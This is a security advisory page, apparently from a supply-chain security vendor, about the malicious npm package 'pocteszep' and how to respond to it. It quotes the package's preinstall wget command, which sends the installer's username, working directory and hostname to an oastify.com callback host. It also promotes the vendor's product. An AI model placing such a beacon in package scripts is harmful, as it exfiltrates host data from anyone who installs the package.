pocteszepnpm
Malicious code in pocteszep (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's npm preinstall lifecycle script runs wget --quiet "http://78dngdm3dhrrj8zgfm4es9m8bzhq5jt8.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)" (package.json line 8). On npm install, before any code review, the installer's username, current working directory, and hostname are sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain — a typical out-of-band exfiltration channel used in dependency-confusion attacks. The package description self-identifies as a 'Simple PoC package for testing for dependency confusion vulnerabilities,' and the package contains no legitimate functionality beyond the lifecycle beacon. Any installer pulling this package via name-collision with an internal dependency leaks host identity to the attacker.
The OpenSSF Package Analysis project identified 'pocteszep' @ 1.0.2 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for pocteszep (7 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging pocteszep across your stack and pipelines.
If you installed it — respond
pocteszep is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If pocteszep was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks pocteszep before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks pocteszep-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.